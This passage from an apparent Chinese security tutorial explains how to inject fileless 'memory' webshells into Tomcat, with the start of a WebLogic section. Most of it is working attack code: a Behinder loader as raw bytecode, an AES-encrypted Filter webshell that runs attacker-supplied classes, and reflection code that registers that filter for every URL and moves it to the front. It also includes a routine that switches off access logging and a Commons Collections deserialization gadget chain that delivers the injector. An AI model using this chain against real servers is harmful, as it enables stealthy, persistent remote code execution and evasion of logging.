97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 59, 1, 0, 1, 99, 1, 0, 23, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 1, 0, 1, 103, 1, 0, 21, 40, 91, 66, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 1, 0, 1, 98, 1, 0, 2, 91, 66, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 6, 85, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 12, 0, 24, 0, 25, 1, 0, 28, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 1, 0, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 11, 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 1, 0, 23, 40, 91, 66, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 0, 32, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 0, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 62, 0, 2, 0, 2, 0, 0, 0, 6, 42, 43, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 5, 0, 6, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 6, 0, 10, 0, 11, 0, 0, 0, 0, 0, 6, 0, 12, 0, 13, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 7, 0, 0, 0, 61, 0, 4, 0, 2, 0, 0, 0, 9, 42, 43, 3, 43, -66, -73, 0, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 8, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 9, 0, 10, 0, 11, 0, 0, 0, 0, 0, 9, 0, 16, 0, 17, 0, 1, 0, 1, 0, 18, 0, 0, 0, 2, 0, 19}; Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe)field.get(Unsafe.class); Class Uclass = unsafe.defineClass("net.rebeyond.behinder.core.U",Uclassbate,0,Uclassbate.length,null, null); Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class); tt.setAccessible(true); Object xx = tt.newInstance(this.getClass().getClassLoader()); Method Um = Uclass.getDeclaredMethod("g",byte[].class); Um.setAccessible(true); Class evilclass = (Class) Um.invoke(xx,evilClassBytes); Object a = evilclass.newInstance(); Method b = evilclass.getDeclaredMethod("fuck",String.class,ServletRequest.class, ServletResponse.class,HttpSession.class); b.invoke(a, k,req, resp,session); return; } } catch (Exception e) { e.printStackTrace();//实际中这里注释掉 调试用 } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } Object invoke(Object obj, String methodName, Object... parameters) { try { ArrayList classes = new ArrayList(); if (parameters != null) { for(int i = 0; i < parameters.length; ++i) { Object o1 = parameters[i]; if (o1 != null) { classes.add(o1.getClass()); } else { classes.add((Object)null); } } } Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0])); return method.invoke(obj, parameters); } catch (Exception var7) { return null; } } Method getMethodByClass(Class cs, String methodName, Class... parameters) { Method method = null; while(cs != null) { try { method = cs.getDeclaredMethod(methodName, parameters); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } return method; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { f = obj.getClass().getDeclaredField(fieldName); } f.setAccessible(true); f.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { Method method = null; Class cs = obj.getClass(); while(cs != null) { try { f = cs.getDeclaredField(fieldName); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } } f.setAccessible(true); return f.get(obj); } private void transform(Object standardContext, String path) throws Exception { Object containerBase = this.invoke(standardContext, "getParent", (Object[])null); Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); listenersField.setAccessible(true); ArrayList listeners = (ArrayList)listenersField.get(containerBase); for(int i = 0; i < listeners.size(); ++i) { Object mapperListener_Mapper = listeners.get(i); if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { new ArrayList(); Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null); Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); int l; Object Mapper_Wrapper; Method addWrapperMethod; for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l); if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class); addWrapperMethod.setAccessible(true); addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path); } } for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) { Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l); if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class); addWrapperMethod.setAccessible(true); addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object")); } } } } } } } } private void noLog(PageContext pc) { try { Object applicationContext = getFieldValue(pc.getServletContext(), "context"); Object container = getFieldValue(applicationContext, "context"); ArrayList arrayList; for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) { arrayList.add(container); } label51: for(int i = 0; i < arrayList.size(); ++i) { try { Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null); if (pipeline != null) { Object valve = this.invoke(pipeline, "getFirst", (Object[])null); while(true) { while(true) { if (valve == null) { continue label51; } if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) { String condition = (String)this.invoke(valve, "getCondition"); condition = condition == null ? "FuckLog" : condition; this.invoke(valve, "setCondition", condition); pc.getRequest().setAttribute(condition, condition); valve = this.invoke(valve, "getNext", (Object[])null); } else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) { valve = this.invoke(valve, "getNext", (Object[])null); } else { valve = null; } } } } } catch (Exception var9) { } } } catch (Exception var10) { } } } 那么，如果我们没有pagecontext对象呢？可以尝试从Mbeans中获取StandardContext，或者参考threede3am方法。 #### 2.通过Mbean获取context Meban简介 Tomcat 使用 JMX MBean 来实现自身的性能管理。每个包里的 mbeans-descriptor.xml 是针对 Catalina 的 JMX MBean 描述。通过Tomcat的MbeanServer我们就可以拿到注册到JMX的对象。 org.apache.tomcat.util.modeler.Registry类中提供了getMBeanServer()方法用于获得（或创建）MBeanServer 。在JmxMBeanServer中，其mbsInterceptor属性存放着我们想要的MBeanServer， 这个mbsInterceptor对象经过动态调试就是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor。 在DefaultMBeanServerInterceptor存在一个Repository属性由于将注册的MBean进行保存 。 Repository中存在domainTb属性，存储着所有domain的MBean domianTb的get方法接收domain参数，会返回一个HashMap，里面存储着此domain下所有注册的Mbean 经过如此的链式寻找，我们终于有办法从MBeanServer中获取到注册到其中的类。 JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer(); // 获取mbsInterceptor Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(jmxMBeanServer); // 获取repository field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Object repository = field.get(mbsInterceptor); // 获取domainTb field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository); Object aaa = domainTb.get("Catalina"); 我们用JConsole打开Tomcat的mbeans，很多， 我们的目的是从中获取StandardContext，先看看能不能直接获取到 tomcat源码中全局搜索 name="StandardContext" 我们是可以定位到StandardContext 但是获取失败..... 猜测可能是默认没有注册，domainTb.get("Catalina")中并没有查找到，放弃直接获取， 然后考虑获取其它已经注册的类，再反射获取属性。 这里我们打印出所有Catalina下已经注册的类 HashMap aaa = (HashMap) domainTb.get("Catalina"); Iterator<String> it = aaa.keySet().iterator(); while(it.hasNext()) { String key = it.next(); System.out.println(key + " : " + aaa.get(key)); } NamedObject test = domainTb.get("Catalina").get("context=/,host=localhost,name=StandardContext,type=Context"); System.out.println("aaaa"); 大概看了下，这几个类通过链式方式可以获取到StandardContext * context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve * context=/bx_test_war_exploded,host=localhost,name=StandardContextValve,type=Valve * context=/manager,host=localhost,name=BasicAuthenticator,type=Valve * ... 拿NonLoginAuthenticator举例，获取StandardContext NonLoginAuthenticator继承了AuthenticatorBase，其中的context属性，在实际运行中为我们想要的StandardContext NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve"); 成功反射获取context 这里停一下我们观察下这个key context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve context是项目名称，host是localhost，在实际攻击中， **这两个变量把我们并不确定** ，可以试着猜一下。不过有一点幸运的是，Tomcat 7，8，9都存在NonLoginAuthenticator **我们尝试将内存马注入的payload合入到CC中** 首先我们自己写一个反序列化的漏洞 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String base64_ser = request.getParameter("ser"); BASE64Decoder decoder = new BASE64Decoder(); byte[] ser_bytes = decoder.decodeBuffer(base64_ser); ByteArrayInputStream bis = new ByteArrayInputStream (ser_bytes); ObjectInputStream ois = new ObjectInputStream (bis); ois.readObject(); }catch (Exception e){ e.printStackTrace(); } System.out.println("22222222222222222222222222222222222222"); PrintWriter out = response.getWriter(); out.println("hello world"); } String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; InvocationHandler obj = cc3.getobject(cmd); hello.deserializeToObject(hello.serializeToString(obj)); 反序列化demo环境测试通过 接下来我们将webshell的测试代码合入到CC中 Myfilter代码如下 import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.IOException; import java.lang.reflect.Method; //@WebFilter(filterName = "all_filter") public class MyFilter_old implements Filter { String k="1a1dc91c907325c6"; public MyFilter_old(String key){ this.k = key; } public void destroy() { } public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { System.out.println("filter被执行了....\n"); try{ if (true) { String k="1a1dc91c907325c6"; HttpSession session = ((HttpServletRequest) req).getSession(); session.putValue("u",k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); String reader = req.getReader().readLine(); System.out.println(reader); // byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine())); byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader)); Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); // Class evilClass = Class.forName("net.rebeyond.behinder.payload.java.BasicInfo"); Object a = evilClass.newInstance(); Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class); b.invoke(a, k,req, resp,session); return; } } catch (Exception e) { e.printStackTrace();//实际中这里注释掉 调试用 } chain.doFilter(req, resp); } public void init(FilterConfig config) throws ServletException { } } 我们将Myfilter 转换成byte[] inject_tomcat 中直接defineclass调用 injectwebshell_tomcat如下 import javax.management.MBeanServer; import com.sun.jmx.mbeanserver.NamedObject; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.modeler.Registry; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.servlet.Filter; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletResponse; public class Injectwebshell_tomcat { ? ? public static String url; ? ? public static String password; ? ? public Injectwebshell_tomcat() {} ? ? static{ ? ? ? ? System.out.println("ffffffffffffffffffffffffffffffffffffff"); ? ? ? ? String filterUrlPattern = "/*"; ? ? ? ? String filterName = "233333"; ? ? ? ? String password = "pass"; ? ? ? ? try { ? ? ? ? ? ? MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); ? ? ? ? ? ? // 获取mbsInterceptor ? ? ? ? ? ? Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object mbsInterceptor = field.get(mBeanServer); ? ? ? ? ? ? // 获取repository ? ? ? ? ? ? field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object repository = field.get(mbsInterceptor); ? ? ? ? ? ? // 获取domainTb ? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository); ? ? ? ? ? ? HashMap aaa = (HashMap) domainTb.get("Catalina"); ? ? ? ? ? ? String keyNonLoginAuthenticator = "context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve"; // //? ? ? ? ? ? Iterator<String> it = aaa.keySet().iterator(); //? ? ? ? ? ? while(it.hasNext()) { //? ? ? ? ? ? ? ? String key = it.next(); //? ? ? ? ? ? ? ? System.out.println(key + " : " + aaa.get(key)); //? ? ? ? ? ? ? ? response.getWriter().println(key + " : " + aaa.get(key)); //? ? ? ? ? ? ? ? if(key.contains("NonLoginAuthenticator")){ //? ? ? ? ? ? ? ? ? ? keyNonLoginAuthenticator = key; //? ? ? ? ? ? ? ? } //? ? ? ? ? ? } ? ? ? ? ? ? // 获取domain ? ? ? ? ? ? NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get(keyNonLoginAuthenticator); ? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object object = field.get(nonLoginAuthenticator); ? ? ? ? ? ? // 获取resource ? ? ? ? ? ? field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? Object resource = field.get(object); ? ? ? ? ? ? // 获取context ? ? ? ? ? ? field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? StandardContext standardContext = (StandardContext) field.get(resource); ? ? ? ? ? ? // 获取servletContext ? ? ? ? ? ? field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); ? ? ? ? ? ? field.setAccessible(true); ? ? ? ? ? ? ServletContext servletContext = (ServletContext) field.get(standardContext); ? ? ? ? ? ? if (standardContext != null) { ? ? ? ? ? ? ? ? //修改状态，要不然添加不了 ? ? ? ? ? ? ? ? Field stateField = org.apache.catalina.util.LifecycleBase.class ? ? ? ? ? ? ? ? ? ? ? ? .getDeclaredField("state"); ? ? ? ? ? ? ? ? stateField.setAccessible(true); ? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); ? ? ? ? ? ? ? ? //创建一个自定义的Filter马 ? ? ? ? ? ? ? ? byte[] MFbytes = new byte[]{Myfilter 的 bytes}; ? ? ? ? ? ? ? ? java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); ? ? ? ? ? ? ? ? defineClassMethod.setAccessible(true); ? ? ? ? ? ? ? ? Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? MFbytes, 0, MFbytes.length); ? ? ? ? ? ? ? ? Constructor MFconstructor = myclass.getConstructor(); ? ? ? ? ? ? ? ? MFconstructor.setAccessible(true); ? ? ? ? ? ? ? ? Filter my_filter = (Filter) MFconstructor.newInstance(); ? ? ? ? ? ? ? ? //添加filter马 ? ? ? ? ? ? ? ? javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, my_filter); ? ? ? ? ? ? ? ? filterRegistration.setInitParameter("encoding", "utf-8"); ? ? ? ? ? ? ? ? filterRegistration.setAsyncSupported(false); ? ? ? ? ? ? ? ? filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{filterUrlPattern}); ? ? ? ? ? ? ? ? //状态恢复，要不然服务不可用 ? ? ? ? ? ? ? ? if (stateField != null) { ? ? ? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? if (standardContext != null) { ? ? ? ? ? ? ? ? ? ? //生效filter ? ? ? ? ? ? ? ? ? ? Method filterStartMethod = StandardContext.class ? ? ? ? ? ? ? ? ? ? ? ? ? ? .getMethod("filterStart"); ? ? ? ? ? ? ? ? ? ? filterStartMethod.setAccessible(true); ? ? ? ? ? ? ? ? ? ? filterStartMethod.invoke(standardContext, null); ? ? ? ? ? ? ? ? ? ? Class ccc = null; ? ? ? ? ? ? ? ? ? ? try { ? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); ? ? ? ? ? ? ? ? ? ? } catch (Throwable t){} ? ? ? ? ? ? ? ? ? ? if (ccc == null) { ? ? ? ? ? ? ? ? ? ? ? ? try { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); ? ? ? ? ? ? ? ? ? ? ? ? } catch (Throwable t){} ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? //把filter插到第一位 ? ? ? ? ? ? ? ? ? ? Class c = Class.forName("org.apache.catalina.core.StandardContext"); ? ? ? ? ? ? ? ? ? ? Method m = c.getMethod("findFilterMaps"); ? ? ? ? ? ? ? ? ? ? Object[] filterMaps = (Object[]) m.invoke(standardContext); ? ? ? ? ? ? ? ? ? ? Object[] tmpFilterMaps = new Object[filterMaps.length]; ? ? ? ? ? ? ? ? ? ? int index = 1; ? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) { ? ? ? ? ? ? ? ? ? ? ? ? Object o = filterMaps[i]; ? ? ? ? ? ? ? ? ? ? ? ? m = ccc.getMethod("getFilterName"); ? ? ? ? ? ? ? ? ? ? ? ? String name = (String) m.invoke(o); ? ? ? ? ? ? ? ? ? ? ? ? if (name.equalsIgnoreCase(filterName)) { ? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[0] = o; ? ? ? ? ? ? ? ? ? ? ? ? } else { ? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[index++] = filterMaps[i]; ? ? ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) { ? ? ? ? ? ? ? ? ? ? ? ? filterMaps[i] = tmpFilterMaps[i]; ? ? ? ? ? ? ? ? ? ? } ? ? ? ? ? ? ? ? } ? ? ? ? ? ? } ? ? ? ? } catch (Exception e) { ? ? ? ? ? ? e.printStackTrace(); ? ? ? ? } ? ? } } 构造CC代码如下 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class cc3 { public static InvocationHandler getobject(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); // String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; // 创建 static 代码块，并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错 // 写入.class 文件 byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name"); setFieldValue(templates, "_class", null); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); return handler; // try{ // ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3")); // outputStream.writeObject(handler); // outputStream.close(); // // ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3")); // inputStream.readObject(); // }catch(Exception e){ // e.printStackTrace(); // } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void main(String[] args) throws Exception { // String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // InvocationHandler obj = cc3.getobject(cmd); // hello.deserializeToObject(hello.serializeToString(obj)); String cmd = "try{sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();" + ? ? "byte[] inject_omcat_bytes = decoder.decodeBuffer(\"inject_tomcat base64编码后数据\");\n" + ? ? "java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\",new Class[]{byte[].class, int.class, int.class});" + ? ? "defineClassMethod.setAccessible(true);" + ? ? "Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? inject_omcat_bytes, 0, inject_omcat_bytes.length);" + ? ? "java.lang.reflect.Constructor MFconstructor = myclass.getConstructor();" + ? ? "MFconstructor.setAccessible(true);" + ? ? "MFconstructor.newInstance();}catch (Exception e){e.printStackTrace();}"; InvocationHandler obj = cc3.getobject(cmd); hello.deserializeToObject(hello.serializeToString(obj)); } } **效果** 冰蝎配置连接 成功连接 至此，测试完毕。 #### 3.threade3am方法获取context 借鉴threade3am师傅的项目地址<https://github.com/threedr3am/ysoserial>，我们从中摘出来我们想要的获取context部分代码 String filterUrlPattern = "/*"; String filterName = filtername; System.out.println(url+" "); try { System.out.println("SSSSSS start start start"); /*刚开始反序列化后执行的逻辑*/ //修改 WRAP_SAME_OBJECT 值为 true java.lang.Class c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f1 = c1.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (!f1.getBoolean(null)) { f1.setBoolean(null, true); } //初始化 lastServicedRequest c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f1 = c1.getDeclaredField("lastServicedRequest"); modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (f1.get(null) == null) { f1.set(null, new ThreadLocal()); } //初始化 lastServicedResponse f1 = c1.getDeclaredField("lastServicedResponse"); modifiersField = f1.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f1.setAccessible(true); if (f1.get(null) == null) { f1.set(null, new ThreadLocal()); } // java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field f = c1.getDeclaredField("lastServicedRequest"); // System.out.println("11111111111111111111"); f.setAccessible(true); java.lang.ThreadLocal t = (java.lang.ThreadLocal) f.get(null); /*shell注入，前提需要能拿到request、response等*/ if (t != null && t.get() != null) { javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) t.get(); System.out.println(servletRequest); javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); ..... } 分析代码，获取context分为两步，首先修改 WRAP_SAME_OBJECT 值为 true 然后初始化 lastServicedRequest，最后从javax.servlet.ServletRequest获取context 使用上面的测试环境，成功注入filter #### **注: 以上方式tomcat6 均不可** tomcat6缺少javax.servlet.DispatcherType类 # 三、Weblogic 内存马注入 原理同样使用使用动态注册Filter 的方式 参考文章<https://www.cnblogs.com/potatsoSec/p/13162792.html>我们直接跟着大佬的文章走吧 跟进weblogic的Filter关键流程，断点下到doFilter，通过查看堆栈信息定位一些关键函数、 > > 通过跟踪堆栈信息，我们可以找到，在wrapRun函数中，会判断系统中是否存在filter以及listener。如果存在，则获取FilterChain，然后依次调用Filter。原理与tomcat类似 跟进getFilterChain函数，它在FilterManger中，这个weblogic.servlet.internal.FilterManager，是weblogic用来管理filter的，我们需要的动态注册Filter功能它也提供了，好方便，直接就有了，比tomcat方便多了！ 我们现在已经知道FilterManger有这个功能，现在就是要获取FIlterManger，在weblogic中，context会存放FilterManger，这个问题就成了如何获取context，很熟悉是不是2333 和Tomcat一样，存在两种方法， * 从pageContext取 jsp页面中存在 * 